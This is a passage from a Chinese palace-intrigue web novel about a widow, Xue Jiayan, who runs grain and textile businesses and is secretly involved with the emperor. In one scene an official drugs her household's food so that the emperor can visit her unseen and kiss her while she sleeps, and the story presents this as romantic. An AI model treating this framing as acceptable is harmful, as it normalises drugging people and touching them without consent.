“东家,织坊到了。” 车夫的声音打断了她的思绪。薛嘉言定了定神,整理好衣襟,强压下心头的慌乱,推开车帘走了下去。 云绒呢的订单增加,原先送来的皮毛也全部销售一空,织坊里十分忙碌,来来往往全是人。 周掌柜面带喜色,正跟薛嘉言汇报着,外头响起吵闹声,他赶紧过去看了看。 织坊门口围着十几个人,为首的是个穿着锦缎长袍的中年男人,腰间挂着玉牌,满脸横肉,看到周掌柜来了,皮笑肉不笑道:“周掌柜,上次说的事怎么样了?我们高家也不白拿份额,出两千两银子买五成的股。” 周掌柜耐着性子辩解:“高七老爷,我们东家不缺银子,实在不需要人参股呀。” 高七老爷冷笑一声:“我高家要参股,是给你们面子,别给脸不要脸。” 周围十来个跟班也跟着起哄,有的甚至拿起织机上的线轴往地上摔,织工们吓得纷纷后退,场面一片混乱。 薛嘉言心头一沉,快步走上前。高七老爷见来了个衣着华贵的年轻妇人,眯起眼睛打量着她,忽然皱起眉头:“你这妇人,看着倒有些眼熟……” 薛嘉言认出来这人是谁了,是高氏的同族的堂弟,给高家打理生意的,从前父亲带着她去国公府时见过一面,她记性比较好,虽只一面却也认出来了。 薛嘉言上前道:“我这织坊是合法经营,朝廷自有法度,容不得旁人撒野。” “法度?”高七老爷嗤笑一声,上前一步逼近她,语气嚣张,“在这通县,高家就是法度!强龙还不压地头蛇呢,你这妇人,也敢跟我讲法度?” 薛嘉言胸中的怒火瞬间被点燃,织坊里有许多身强力壮的汉子,只要她一声令下,定能把这伙人打得落花流水。 但她不能这么冲动,姜玄已经许久没有召她了,她不知道他如今还想不想要她,此时只能另想法子。 薛嘉言深吸一口气,缓缓开口,声音不大却字字清晰:“高七老爷或许不知道,我这织坊,前不久刚接了工部的军衣订单,五千件军衣已经查验合格,送进了工部大仓。” 高七老爷脸上神色变幻,他明白工部的订单意味着什么,一时弄不清织坊背后是否是哪位大人物。 他眼神闪烁了几下,最终咬了咬牙,狠狠瞪了周掌柜和薛嘉言一眼,便带着跟班悻悻地走了。 高七老爷带着跟班走远后,周掌柜眉头拧成了疙瘩,走到薛嘉言身边,声压低声音:“东家,您可别不当回事!这高七老爷是高家的人,背后站着的是高侍郎啊!今日他虽被您唬走了,可依着他的性子,定然不会善罢甘休。要不……我托人给张公公递个话?” 薛嘉言不语,告诉张鸿宝,就等于把这事告诉姜玄,她不想事事靠着姜玄,这样他只会更看不起她。 想到这里,薛嘉言缓缓摇头:“暂时不用,还没到那一步。你先让安抚好工人,接着赶工期,我来想办法。” 回京之后,薛嘉言让人给苗菁递了话,说是有事找他。 次日下晌,薛嘉言去了一趟苗家。 书房里燃着一盆银丝炭,暖意融融,苗菁正坐在案前翻看卷宗,见她进来,便放下手中的笔,站起来陪薛嘉言坐到一旁的圈椅上喝茶说话。 薛嘉言没绕圈子,坐下后直接开门见山:“苗大人,我今日来,是想向您打听件事——您这里可有高家的一些秘辛?尤其是关于高七老爷的。” 苗菁问道:“你问这个做什么?” 薛嘉言将通州织坊的事一五一十地说了,又道:“如今织坊正是赶工的时候,我不想被他搅了局,便想着给他找些麻烦,让他无暇顾及。” 苗菁听完,语气轻松了些:“我还当是什么大事。这事简单,我让人去通州织坊露个面,亮明锦衣卫的身份。高家虽有高侍郎撑腰,却也不敢明着得罪我们锦衣卫。” “多谢苗大人好意,只是这事,我另有考量。苗大人或许知道,我与高家的恩怨,这些年我和母亲一直忍着,也早想给高家一些教训。” 苗菁指尖在案上轻轻敲了两下,缓缓开口:“要说能让高家闹腾的事,倒还真有一桩。今年夏日,高七老爷去江南采买,回来时给高侍郎带了个瘦马,偷偷养在桂花胡同一处带院子的私宅里,除了高侍郎和高七老爷的心腹,没几个人知道。” “那瘦马进府不过三个月,就查出有了身孕。高侍郎得知消息后喜不自胜,常往桂花胡同跑。可他不知道,高七老爷打着送东西的旗号时常也过去,每次都要在宅子里待上一个时辰才出来。那瘦马腹中的孩子究竟是谁的,怕是连她自己都未必能说清。” 高侍郎的妻子杨夫人京中出了名的火爆脾气,当年高侍郎与她的侍女睡了,就被杨夫人闹得要打杀了那侍女,连御史都惊动了。 若是让杨夫人知道高侍郎不仅养了外室,还可能当了大王八,以她的性子,定然会闹得高家鸡犬不宁。到时候高七老爷深陷其中,哪里还有精力来通州找织坊的麻烦? 她放笑着道:“多谢苗大人指点。” 苗菁又道:“还有件事,目前暂时没有实据,不过或许对你有用。你不是一直在跟鞑靼做生意吗?若是在那边有人脉,可以悄悄打听打听。” 薛嘉言心中一动,往前倾了倾身:“苗大人请讲,是什么事?” “上个月,锦衣卫在口外抓了一伙往鞑靼倒卖私盐的贩子,那头目为了求从轻发落,招认了不少同伙的事。” 苗菁的神色严肃了些,“他说,最近半年,有一伙人借着与鞑靼通商的名义,偷偷往那边贩铁。那头目还说,这伙人背后的靠山,似乎与高侍郎有关,只是他拿不出证据。” 往鞑靼贩铁可不是小事,尤其是生铁,一旦被查实,便是通敌叛国的大罪。 薛嘉言深吸一口气道:“好,我正让人去打听。若是真能查到证据,定不会让他们逍遥法外。” “你可得小心些。”苗菁叮嘱道,“这毕竟是掉脑袋的买卖,对方势力定然不小,若是打草惊蛇,不仅查不到证据,还可能连累你自己。实在查不到也别勉强,保住自身安全才是要紧的。” 说完高家的事,苗菁带着几分不好意思,开口道:“关于戚少亭的死,皇上那边一直没发话,我这边也不好贸然动手。” 薛嘉言语气平静无波:“没关系,且再等等。” 第96章 不知拿她怎么办 从苗府出来,薛嘉言坐进马车,一路都在思索如何利用今日得来的两个消息。 桂花胡同的事,需得找个巧妙的由头透露给杨夫人,既不能暴露自己,又要让杨夫人相信消息的真实性,最好闹得越大越好;而鞑靼贩铁的事,风险太大,得让苏明远的人先小心打听,万万不能打草惊蛇。 她记起前世一件事,杨夫人在外放印子钱逼死人,御史上奏弹劾高侍郎,后来查明是杨氏族人假借杨夫人的名义在外放印子钱,她并不知情,顺天府关了杨家交上来的一个人,此事也就不了了之了。 薛嘉言自然不信杨夫人不知,高七老爷负责高家的生意,又一向跟高侍郎府上最是亲近,若杨夫人真的在外放印子钱,十有八九是高七老爷在负责。 她想了想,让人底下人找人去高七老爷那里试探,看看他是不是真的在放印子钱。 与此同时,长宜宫内,姜玄也已知道了通州织坊的事情,张鸿宝躬身问道:“皇上,要不要老仆派人去递个话?” 姜玄正翻看着奏折的手一顿,沉默片刻后低声道:“罢了,不是什么大事,且再看看。” 他与薛嘉言的关系,总不能一直这样,若将来两人真断了,她得有自保能力。 姜玄眉头微蹙,又对张鸿宝道:“你派两个得力的人,悄悄去盯着,暗中保护她,别让她伤着就行。” 张鸿宝心中了然,连忙躬身应下:“老奴遵旨,这就去安排。” 张鸿宝刚要转身退下,姜玄突然出声叫住他,声音压得极低,带着细微的紧绷:“她最近……去青瓦胡同了吗?” 张鸿宝不敢隐瞒,老实摇了摇头:“回皇上,薛主子没去过。” 姜玄闻言,脸色瞬间沉了沉,他挥了挥手,让张鸿宝先下去安排护卫的事。 张鸿宝不敢多问,躬身退下。待他安置妥当再回到长宜宫时,却见姜玄仍维持着方才的姿势,单手撑着脑袋坐在龙椅上,目光定定地落在廊柱上,不知在思索什么。 桌上的茶早已凉透,张鸿宝轻手轻脚走上前,正想悄声退下换一盏热茶,姜玄却突然开口,低低道:“去跟苗菁说,朕今晚要去看她,但不能让她知道。” “啊?”张鸿宝愣了一下,连忙躬身应道:“老奴遵旨,这就去通知苗大人。” 天色已是黄昏,他不敢耽搁,转身快步出宫,命人去北镇抚司衙署和苗家两处找人。 苗菁接到消息,蹙了蹙眉——皇上要私下见薛嘉言,还不能让她知晓,时间如此仓促,根本来不及细作安排,只能用些不入流的手段了。 苗菁去库房翻出一包药粉,叫来薄广,叮嘱道:“你悄悄潜入戚家,把这药粉掺入今晚的吃食里,主仆的吃食都要下,剂量控制好,让他们睡上两个时辰就行,别伤了人。” 薄广领命而去。 当晚,戚家上下吃了晚饭,没过半个时辰,便纷纷觉得眼皮沉重,困倦不已。 薛嘉言因有了身孕,这阵子本就困倦,一阵强烈的困意袭来,她也只当是怀孕所致,将手中账册放在枕边,和衣睡下了。 整个戚家后院,从上到下都陷入了沉睡,连守夜的家丁也靠在门边睡得人事不知。薄广悄悄查看了一圈,确认所有人都已睡熟,才匆匆回报苗菁。 姜玄换上一身玄色锦袍,乘着夜色,悄无声息地往戚家而去。 夜风呼啸,明月高悬在墨色夜空里,清冷的月光洒在戚家后院,将青砖地照得泛着一层冷白,更显人间清寒。 姜玄走在最前,张鸿宝与苗菁陪侍在两侧,各提着一盏气死风灯。到了春和院,苗菁轻手轻脚推开薛嘉言房间的门。 张鸿宝陪着姜玄走进屋,姜玄伸手接过他手里的灯,低声说:“你出去吧。” 张鸿宝连忙应声,退到门外时又轻轻将门合上。 姜玄提着灯缓步走到床边,昏黄的灯光落在薛嘉言脸上,她和衣躺在床上,身上的被子只堪堪盖到肚子,一只手还露在外面。 姜玄将灯笼轻轻放在床边的绣墩上,他俯身,小心翼翼地将她露在外面的手放进被子里,又轻轻拉过被角,将她的肩膀与脚踝都仔细盖好。 枕头边上还放着册子,姜玄拿起来看了看,是织坊的账册,他把账册放到了床边的妆台上。 姜玄没想到,她临睡前还在看账册,之前想让她做生意,只是为了想办法给她按一个诰命,不料她这般认真。听拾英说,她几乎全身心都扑在了粮行和织坊上。 他站在床边凝神看她,一个月没见,她似乎瘦了些,原本圆润的下巴变得尖尖的,眼下还有淡淡的青影,想来是近来忙碌,没少熬夜。 姜玄无声地叹了一口气,在床边缓缓坐下,伸手轻轻拂过她的脸颊。 薛嘉言睡得并不安稳,眉头始终微微蹙着,呼吸时而带着几分急促,像是在梦中经历着什么紧张的事。 姜玄看着她这副模样,心中泛起一阵莫名的酸涩。他知不知道该把她怎么办,却也舍不得从此之后再也不见。 他俯身,温热的唇轻轻落在她的唇瓣上,感受许久未曾有的柔软。 他反复描摹,待解了相思之情,才离开她的唇瓣,还没直起身,姜玄就听到她喉间溢出两声细呓语,他不由愣在当场。 第97章 她这么恨他? 薛嘉言又坠入了那个熟悉的噩梦,梦里仍是姜玄红着眼眶对她怒吼,眼底的暴戾几乎要将她吞噬,她被这股暴戾吓得浑身发颤,下意识地在梦中呓语出声,带着浓浓的委屈与恐惧:“皇上……不要……” 这声呓语清晰地落在姜玄耳中,他的身体瞬间僵住,俯身的动作也停在半空。 他怔怔地看着薛嘉言,她的眉头蹙得更紧了,眼角似乎还泛着一丝湿意,显然在梦里正承受着极大的痛苦。 姜玄的心猛地被揪紧,他垂眸看着她苍白的脸颊,心中翻涌着复杂的情绪——他于她而言,竟这般让她厌恶吗?连在梦里,她都是这般抗拒他、害怕他。 姜玄在薛嘉言床边静静坐了一刻钟,才提起灯笼,缓步走向门口。 推开门时,守在门外的张鸿宝与苗菁立刻迎上来,见他神色凝重,两人都不敢多问。 众人很快离开戚家,肆虐的风吹散了最后一丝龙涎香,仿佛从未有人来过。 第二日一早,天刚蒙蒙亮,薛嘉言悠悠转醒,只觉得脑袋昏昏沉沉,身上也有些乏力。 她靠在枕头上闭着眼睛,缓了好一会儿,想到昨夜那个梦,薛嘉言不由疑惑,自己为何又做了同样的梦。 只是梦境之事谁也说不清,她想着今日还有事,轻声唤道:“司雨?” 外间的司雨听到声音,连忙推门进来伺候她梳洗。 洗漱完毕后,薛嘉言坐在妆台前,司雨随手将桌角的账册往旁边挪了挪,好腾出位置放妆盒。 薛嘉言眼角的余光瞥见那本账册,问道:“这账册是你放这里的?” 司雨愣了一下,随即摇头:“不是啊,是您昨晚自己放的吧?婢子昨夜困得厉害,在外间的榻上坐着就睡着了,也没听见您夜里唤我,还以为您睡得沉呢。” 薛嘉言眉头微微蹙起,她分明记得,昨夜看账册时困意袭来,账册是随手放在枕边的,怎么会摆在妆台上?她心中莫名升起一丝疑惑,总觉得这屋里昨夜似乎有人来过。 待司雨给她梳好头,薛嘉言还是按捺不住心中的疑虑,吩咐道:“你去前后院都问问,昨夜家中可有什么异常?或是听到什么动静。” 司雨虽不解她为何突然问这个,但还是乖乖应下,转身出去了。 早饭备好时,司雨匆匆回来禀报:“奶奶,我问了前院的小厮和后院守门的婆子,都说昨夜一夜无事,没看到陌生人,也没听到什么奇怪的动静。” 薛嘉言握着筷子的手顿了顿,心里的疑惑虽未完全散去,但想着或许是自己昨夜睡的糊涂,记错了账册的位置,便也渐渐打消了疑虑,轻声道:“想来是我想多了。” 她不知道的是,昨夜守门的小厮和婆子,都被蒙汗药的困着,睡得死沉,直到天快亮时才悠悠转醒。醒来后发现自己竟在当值时睡着了,几人都慌了神,若是被主子知道,少不得要受罚。 几人都有心隐瞒,见司雨打发人来问,一致都说昨夜无事,绝不敢承认自己当值时失了职。 十月中,便下了第一场雪,一场风雪过后,天气是真的冷透了。 清晨推开窗,屋檐下挂着的冰棱足有半尺长,寒风裹着雪粒刮在脸上,像刀子割似的疼。 街面上的积雪冻得硬邦邦,行人踩着冰碴子走路,每一步都得小心翼翼。 严寒来得猝不及防,城中的炭火、棉衣、皮毛等物资瞬间紧俏起来,不少布庄、皮货行的存货很快就卖空了,福运织坊的云绒呢和皮毛很快销售一空。 薛嘉言知道前世的这个时候,运河早早结了冰,南来的粮船过不来,城中粮食很快告急,粮价一路飞涨,百姓们怨声载道,为了买粮发生了不少打砸抢的事件。 这一世,她既然提前知晓,便绝不会让这样的事再发生。 早在八月底,薛嘉言就嘱咐周掌柜,订了大批粮食,足足装满了三个粮仓,还特意让人将粮仓修缮加固,做好了防寒措施。 如今运河果然开始结冰,城中粮价隐隐有上涨的趋势,薛嘉言立刻让周掌柜福运粮行门口挂出牌子,对外宣称“平价售粮,每人每日限购两石,绝不涨价”。 消息一出,百姓们纷纷涌来,每日福运粮行还没开门,门前就排起了长长的队伍,从街这头一直延伸到街那头。 这般平价售粮,却激怒了京城几大粮商。原本他们还等着粮价飞涨大赚一笔,如今被福运粮行搅了局,粮价涨不上去,等雪化了,码头那边的粮通过陆路运进来,手里的存粮再也卖不上高价了。 这日一早,京城最大的粮商王向荣带着另外四个粮商来到了福运粮行。 周掌柜请众人去里面喝茶,众人坐定,王向荣语气不善道:“周掌柜,咱们打开天窗说亮话,如今粮价看涨,你家却偏偏平价卖粮,这不合群呀?我看,你还是赶紧把粮价涨上去,有钱大家一起赚!” 其他几个粮商也跟着附和:“就是!哪有你这么做生意的?大家都要吃饭,你不能只顾着自己赚名声,不管咱们的死活!” 周掌柜面色平静,拱手道:“各位老板息怒,我家东家早就吩咐过,冬日严寒,粮食是百姓的命根子,绝不能趁机抬价。粮价的事,我做不了主,还得东家说了算。” 王向荣愣了一下,随即冷笑道,“好啊,那我们就见见你家东家!我倒要看看,是谁这么大的口气。” 其他粮商也跟着起哄,非要见福运粮行的东家。 周掌柜见拗不过他们,便让人去通报薛嘉言。 薛嘉言听闻消息,想着也该是自己出面的时候了,便驱车前往粮行。 王向荣等人就看到一个穿着橘色锦袄、面容姣好的年轻女子走了过来。周掌柜连忙上前,躬身道:“东家。” 薛嘉言微微颔首,抬眸看向王向荣等人。 王向荣等人先是一愣,随即满脸震惊,你看看我,我看看你,都不敢相信自己的眼睛。 王向荣指着薛嘉言,语气带着几分难以置信:“你……你就是福运粮行的东家?” 薛嘉言嘴角勾起一抹淡笑,拱手道:“正是。不知各位老板找我,有何要事?” 众人这才反应过来,原来福运粮行那位敢平价售粮、搅动京城粮市的东家,竟不是汉子,而是一个年轻女子! 第98章 朝廷的表彰 王向荣很快从震惊中回过神来,上下打量了薛嘉言一番,嘴角勾起一抹讥讽的笑:“难怪这般不懂规矩地做事,原来是个目光短浅的妇人!” 他身后的几个粮商也跟着附和,其中一个留着山羊胡的男子,语气带着几分不屑:“薛东家,不是我们说,你这就是妇人之仁!你以为平价售粮,百姓就会记你一辈子?过了这个冬天,粮价稳了,他们早把你是谁忘了!” “就是!”旁边另一人也跟着帮腔,“冬日粮紧,本就是赚大钱的好时候,你倒好,非要压着价,这不是断我们所有人的财路吗?” 薛嘉言面色平静,缓缓开口:“我平价售粮,并不是为了求百姓感激。做生意讲究‘取之有道’,赚合理的利钱,让百姓能安稳过冬,这不过是一个生意人的本分罢了。” “本分?”王向荣像是听到了天大的笑话,冷笑着上前一步,语气带着几分轻蔑,“生意人以利为本!能赚一两银子,就绝不会只赚八钱!你连这个道理都不懂,还敢出来开粮行?我看你就是不会做生意,在这里贻笑大方!” 薛嘉言看着他满脸的傲慢,只淡淡笑了笑,没再说话。她清楚,面对这种刚愎自用、眼里只有利益的中年男人,再多解释都是徒劳,何苦白费口舌。 她这副淡然的模样,反倒让王向荣等人更生气了。 王向荣脸色一沉,往前逼近半步,语气里的威胁毫不掩饰:“薛东家,我劝你识相点!要么现在就把粮价涨上去,跟我们统一价格;要么,你这福运粮行就别想开下去!京城里的粮道、粮仓,多少都跟我们有些交情,你要是执意跟我们作对,往后你想再进一粒粮食,都难!” 这话里的意思若是薛嘉言不妥协,他们就会联手断了她的粮源,让福运粮行彻底关门。 周掌柜站在一旁,听得心怦怦直跳。 就在这时,粮行外头忽然有人朝着排队的百姓堆里喊了一嗓子,声音清亮:“大伙儿快来看啊!大丰粮行、朝阳粮行的东家,都跑到这儿来逼着福运粮行一起涨价了!他们是想把粮价抬上天,让咱们买不起粮,冻饿而死啊!” 这话像一颗火星掉进了干柴堆里!原本在门口老老实实排队的百姓,大多是揣着仅有的碎银子来买粮的穷苦人,听闻粮商们还要逼涨价,顿时群情激愤。 有人率先拎着粮袋冲了进来,跟着喊话的人冲到了粮行后院,堵住王向荣等人骂道:“好啊!原来是你们这些黑心肝的东西在搞鬼!想涨价逼死我们是不是?” “我们好不容易盼着福运粮行平价卖粮,你们倒好,还想来搅局!” “不能让他们走!他们要逼死我们,我们不如先弄死这些阎王!” 愤怒的百姓源源不断地涌进粮行,挤得屋里水泄不通。王向荣等人哪里见过这阵仗,脸色瞬间变得惨白,也顾不上威胁薛嘉言,转身就想从后门溜走。 冬日严寒,本就有人冻得没活路,如今又听闻粮商要涨价,积压的怨气瞬间爆发。几个年轻力壮的汉子已经红了眼,朝着王向荣等人奔过去,眼看就要动手,场面顿时乱作一团,随时可能闹出人命。 周掌柜吓得脸色发白,想上前阻拦却被百姓挤得动弹不得。薛嘉言也皱起眉头,正想着该如何控制局面,外头忽然传来一阵急促的锣鼓声,紧接着有人高声喊道:“朝廷有令!安静!安静!” 锣鼓声落,福运粮行里乌泱泱的人群瞬间安静下来,方才的愤怒与嘈杂一扫而空。百姓们纷纷自觉往两旁退让,让开一条通道,目光齐刷刷地投向门口。 只见七八个身着皂衣的公差昂首阔步走进来,为首的是个穿着青色官服的男子,面容方正,手持一卷卷轴,走到粮行大厅中央站定。他清了清嗓子,展开卷轴,朗声道:“诸位静听!今冬天寒异常,运河冰封,粮运受阻,京畿一带渐生粮荒。福运粮行东家薛氏,深明大义,以平价售粮解民之困,此等善举,惠及里巷,德泽广被,实为商贾典范!本部奉朝廷令,联合顺天府,今日特来表彰薛东家及福运粮行!” 声音洪亮,字字清晰,传遍粮行的每个角落。 纪明阳读完诏书,将卷轴轻轻合上,脸上露出温和的笑意,转身朝向薛嘉言,双手递过卷轴:“这位想必就是薛东家吧?下官户部主事纪明阳,今日奉命前来,为薛东家颁诏表彰。” 薛嘉言上前一步,双手接过卷轴,躬身行礼:“民妇薛嘉言,谢朝廷恩典,谢大人亲临。” 纪明阳笑着颔首,随即朝身后招了招手。两个公差抬着一个半人高的花瓮走了进来,花瓮上描金绘彩,里面插满了用绒花做成的稻穗、麦穗,还有几枝饱满的绒花玉米,栩栩如生。 “此物乃工部大匠特意赶制,名为‘丰穰瑞兆’,特赠予薛东家,以彰其善举。”纪明阳介绍道。 薛嘉言侧身示意周掌柜:“周掌柜,快接过来,摆在大厅正中,让大伙儿都看看。” 周掌柜连忙上前,与另一个伙计一起,小心翼翼地将花瓮抬到大厅最显眼的位置。 纪明阳的目光扫过大厅,很快瞥见了站在人群后面、神色局促的王向荣等人。方才还气焰嚣张的几位粮商,此刻缩着身子,脸色一阵青一阵白。 纪明阳脸上的笑意淡了几分,神色冷了两分,凉凉地开口道:“王东家也在啊?倒是巧得很。看这光景,是来福运粮行学习平价售粮的经验吗?” 王向荣背后瞬间起了一层冷汗,忙上前几步,躬身行礼,“是!是!草民等正是听闻薛东家的善举,特意前来福运粮行学习经验!回去之后,一定向福运粮行看齐,为百姓分忧!” 其他几位粮商也连忙跟着附和,连连点头:“正是!正是!我们向福运粮行学习,绝不趁机抬价!” “好!好!”不等纪明阳说话,百姓们已经欢呼起来,掌声、叫好声此起彼伏,现场气氛热烈到了极点。人人脸上都洋溢着欢喜的笑容,一边称赞朝廷英明,一边感念薛嘉言的善举。 王向荣等人也不得不挤出笑容,跟着拍手,只是笑容比哭还难看。 第99章 送谢礼 纪明阳带着公差离开后,王向荣等人也如蒙大赦,匆匆朝着粮行后门溜了。百姓们重新排起整齐的队伍,有序地在粮行窗口买粮。 薛嘉言心中了然,这突如其来的朝廷表彰,定是姜玄的安排。 云岫这几日一直在粮行里帮忙,见薛嘉言准备走了,陪着她走到外头的马车旁。她左右看了看,确认没人注意,才附耳小声道:“薛主子,今日这事,定是主子爷的安排。既解了困,又让您扬了名。婢子觉得,您该给主子爷送一份谢礼,表表心意才是。” 薛嘉言闻言,轻轻点头。 姜玄确实为她铺了一条平顺的路,这份情,她得记着。只是送什么谢礼,却让她犯了难。 回到戚家后,薛嘉言琢磨了半晌,也没想出合适的礼物。 姜玄是帝王,宫里的奇珍异宝不计其数,寻常的金银玉器、绫罗绸缎,他定然看不上;送吃食点心,风险太大;送衣裳鞋袜,帝王的服饰都有规制,她送了姜玄也用不到。 更重要的是,她如今的身份见不得光,若是送太惹眼、有标记的东西,难免会被有心人察觉,反而给她和姜玄都惹来麻烦。思来想去,薛嘉言想着画一幅画送给他。 薛嘉言铺开宣纸,提笔蘸墨,缓缓勾勒出青瓦胡同宅子的院子景象。 院角那棵老柿子树,枝干粗壮,枝头挂着红彤彤的柿子,树下的秋菊刚含苞待放,院墙根的月季、花坛边的水井……都被她细细画了出来,处处透着寻常小院的温馨。 最后,她在柿子树旁添了两个背影——男子身姿挺拔,穿着玄色长衫,女子站在他身侧,裙摆轻垂,两人并肩站着,虽看不到脸,却能让人感受到岁月静好。 画完这一切,薛嘉言握着笔,在画的右侧空白处缓缓题下一行字——“故园昼暖,清秋不寒” 她不能写得太直白,这两句正好。 待墨迹干透,薛嘉言小心地将画纸卷好,用丝带系上,放进一支竹制画筒里,叫来司雨,仔细叮嘱:“你亲自把这画筒送到张公公府上,只说是我的谢礼,张公公便明白了。” 当夜,这幅画便到了姜玄的案头。 姜玄目光落在那支竹制画筒上:“这是哪里来的?” “回皇上,是薛主子让人送来的,说是给陛下的谢礼。”张鸿宝躬身回道,将画筒打开,取出画轴递了过去。 姜玄将画缓缓展开,青瓦胡同的小院景象映入眼帘,柿子树、秋菊、并肩的背影,每一处细节都熟悉得仿佛昨日才见过。 他轻轻拂过画纸上并肩而立的两人,眼底泛起一丝柔和。 张鸿宝站在一旁,瞥见画面内容,忍不住笑着轻声道:“皇上,您看薛主子画的,分明是盼着您去青瓦胡同呢。要不老奴去传个话,把她叫进来当面给您致谢。” 姜玄没有说话,目光依旧落在画上。青瓦胡同于他而言,确实是不一样的地方——在那里,他不是帝王,不用面对朝堂的尔虞我诈,只需做个寻常男子,与薛嘉言话几句家常,享受片刻的放松与快乐。 只是他想起薛嘉言在梦中呓语“皇上不要”,还是缓缓将画重新卷好,系好丝带,递给张鸿宝,摇了摇头,声音低沉道:“收起来吧。朕最近忙,不想见她。” 张鸿宝满心不解,皇上明明这些日子常常走神,显然是记挂着薛主子,可为何偏偏不肯召她进来呢?薛主子可都把梯子递过来了。 姜玄重新拿起奏折,可半晌也没有翻看下一本。 这时,殿内传来甘松的声音:“皇上,太后娘娘宫里派人来说,太后娘娘身体抱恙,请您过去看看。” 自从太后生辰那夜,太后深夜闯入长宜宫寝殿,险些撞见薛嘉言之后,姜玄心里便总觉得不大舒服。这些日子,他很少去长乐宫,即便去了,也只选在白日,说完事便起身告辞,不愿多做停留。 姜玄抬眸看向刻漏,时辰不早,夜色已深,他蹙了蹙眉,问道:“是谁来的?” “回皇上,是太后娘娘身边的张嬷嬷。”甘松回道。 “把她叫进来回话。”姜玄沉声道。 片刻后,张嬷嬷躬身走进殿内,先给姜玄行了个大礼,眼眶微红,神色带着几分急切。 姜玄开门见山:“张嬷嬷,母后身子抱恙,可请了太医?太医怎么说?” 张嬷嬷道:“回皇上,娘娘昨儿起就不大舒坦,夜里更是发起高热,奴婢们不敢耽搁,连夜请了李太医来。李太医诊了脉,说娘娘是‘外感寒邪,郁而化热’,加之气血亏虚,旧疾又被牵动,才会高热不退。太医开了退热的方子,喝了两剂,今儿白日热退了些,可夜里又有些反复,精神头也不大好。” 姜玄闻言,神色微动,却依旧沉声道:“既如此,你们好好侍奉着母后,按时煎药,仔细照料。朕还有政事要处理,过两日再去看望她。” “皇上!”张嬷嬷忽然跪了下来,眼眶泛红,含泪道,“娘娘这次高热,不仅身子难受,背后的旧伤也跟着疼起来了,夜里翻来覆去睡不着,疼得冷汗直流。昨儿夜里,娘娘病中做梦,还在喊着‘栖真,走开!’,想来是疼极了才胡言乱语。娘娘素来心疼皇上,怕耽误您处理政务,再三不许老奴前来打扰,可老奴实在看不得娘娘这般难受,求皇上去看看娘娘,哪怕只是说两句话宽慰宽慰她也好啊!” 张嬷嬷口中的旧伤,是四年前太后为姜玄挡箭留下的。 那年先帝病重,几位皇子一同去太庙祭祖,仪式进行到一半,忽然有冷箭射来,直奔当时的太子。 众人目光都被太子那边的异动吸引,谁也没留意到,另一支冷箭正朝着姜玄射来。 当时还是皇后的太后,就站在姜玄身侧,几乎是下意识地扑了过来,替他挡了那一箭,箭头深深刺入她的后背,虽经太医诊治保住了性命,却落下了病根,每逢阴雨天或身体不适,便会疼得难以忍受。 想起当年太后奋不顾身的模样,再听张嬷嬷说她病中仍念着自己,姜玄心中涌上些难以言喻的感激与愧疚。 他沉默片刻,终是放下朱笔,沉声道:“摆驾,去长乐宫。” 第100章 唯有一颗真心 一行人踏着夜色前往长乐宫,到了太后住的寝殿,殿内静悄悄的,只点着几盏昏黄的宫灯。太后仍在睡着,脸色苍白得没有一丝血色,眉头微微蹙着。 张嬷嬷轻手轻脚地走过去,在太后耳边低声唤道:“娘娘,皇上来看您了。” 太后缓缓睁开眼,待看清床边站着的是姜玄,眼中瞬间闪过一丝惊喜,随即又嗔怪地看向张嬷嬷:“你这老东西,怎么还是把皇上给请来了?皇上日理万机,哪有功夫来看我,耽误了政务可怎么好?” 姜玄连忙上前一步,俯下身柔声道:“母后说的哪里话,政务虽忙,看望母后也是儿臣应该做的。母后感觉怎么样?可好些了?” 太后虚弱地道:“皇上不必忧心,不过是天气忽然变冷,我前儿没注意吹了风,受了些寒,过几日便好了。倒是皇上,要多注意身子,别总熬夜处理政务,天冷了,也记得添衣裳。” 这时,宫女端着一碗刚熬好的汤药进来,张嬷嬷接过药碗,笑着看向姜玄:“皇上当年刚到娘娘身边时,病了总不肯吃药,都是娘娘亲自一勺一勺喂着,才肯把药喝完呢。” 太后闻言,眼中闪过一丝怀念,目光灼灼地看向姜玄,带着几分期待。 姜玄却避开她的视线,垂下眼眸,温声道:“朕的手粗笨得很,怕是笨手笨脚扰了母后,反而喂不好药。嬷嬷照料母后多年,心思细腻,又有经验,还是让嬷嬷来更稳妥。朕在一旁守着您,不走就是。” 太后脸上的期待淡了些,却也没多说什么,只是轻轻点了点头:“栖真说的是,嬷嬷来便好。” 张嬷嬷见状,只得坐到床边的绣墩上,舀起一勺汤药,递到太后唇边。太后顺从地张口,一勺一勺将苦涩的汤药喝了下去,眉头微蹙,却没吭一声。 姜玄坐在一旁,静静看着。 喝完药,宫女端来温水让太后漱口,又递上蜜饯压下药味。太后靠在枕头上,缓了缓神,轻声道:“白日里昏昏沉沉睡多了,这会倒没了睡意,想跟皇上说说话。” 姜玄温声问道:“母后若是觉得闷,怎么没宣娘家人进来陪您说说话?” 太后嗔怪地看了他一眼,声音带着几分无奈:“上回出了李瑶那事,哀家哪里还敢把家中女眷总叫到宫里来。万一再惹出什么是非,让皇上烦心,得不偿失。” 姜玄道:“母后放心,上回不过是一场误会,朕并未放在心上。您在深宫寂寞,往后常把家人叫进来陪陪您就是了,不必这般拘谨。” “罢了。”太后摇了摇头,“天冷路滑,她们来回奔波也辛苦,不折腾她们了。” 她顿了顿,目光扫过桌案,“哀家前两日在看一本书,写得还算有趣,只是这会眼睛有些发胀,栖真读给哀家听吧。” 张嬷嬷闻言,连忙从桌案上拿起一本书,翻开后递到姜玄手中。 姜玄接过书,便轻声读了起来。 读到“妾在巫山之阳,高丘之阻,旦为朝云,暮为行雨。朝朝暮暮,阳台之下”时,姜玄捏着书页的手指有些用力,眼底闪过一丝波动。 太后见他停顿了几息,嗔怪地看向张嬷嬷:“张嬷嬷,你怎么拿了这本?快换《山月杂记》来读。” 张嬷嬷连忙躬身告罪:“老奴一时忙乱,没看清书名,竟拿错了,还请太后和皇上恕罪。”说着,她慌忙上前,换了另一本书递给姜玄,正是《山月杂记》。 姜玄压下心中的异样,重新开口朗读,声音依旧平稳。 他耐着性子读了三页,见太后神色渐渐舒缓,眉宇间的疲惫也淡了些,便起身告辞:“母后,夜色已深,您该好好歇息了,儿臣先回去了。” 太后点点头,轻声道:“皇上也早些歇息,别总熬夜。” 姜玄躬身行礼,转身朝着殿外走去。 太后躺在床上,痴痴地看着他的背影,眼神复杂,有疼爱,有期盼,还有一丝难以言说的怅然。 直到那道挺拔的背影完全消失在殿门外,殿门被轻轻合上,她才缓缓收回目光,默默叹了一口气。 戚家,春和院,薛嘉言正给棠姐儿画识字的图片,门外传来脚步声,抬头便见戚少亭走了进来。 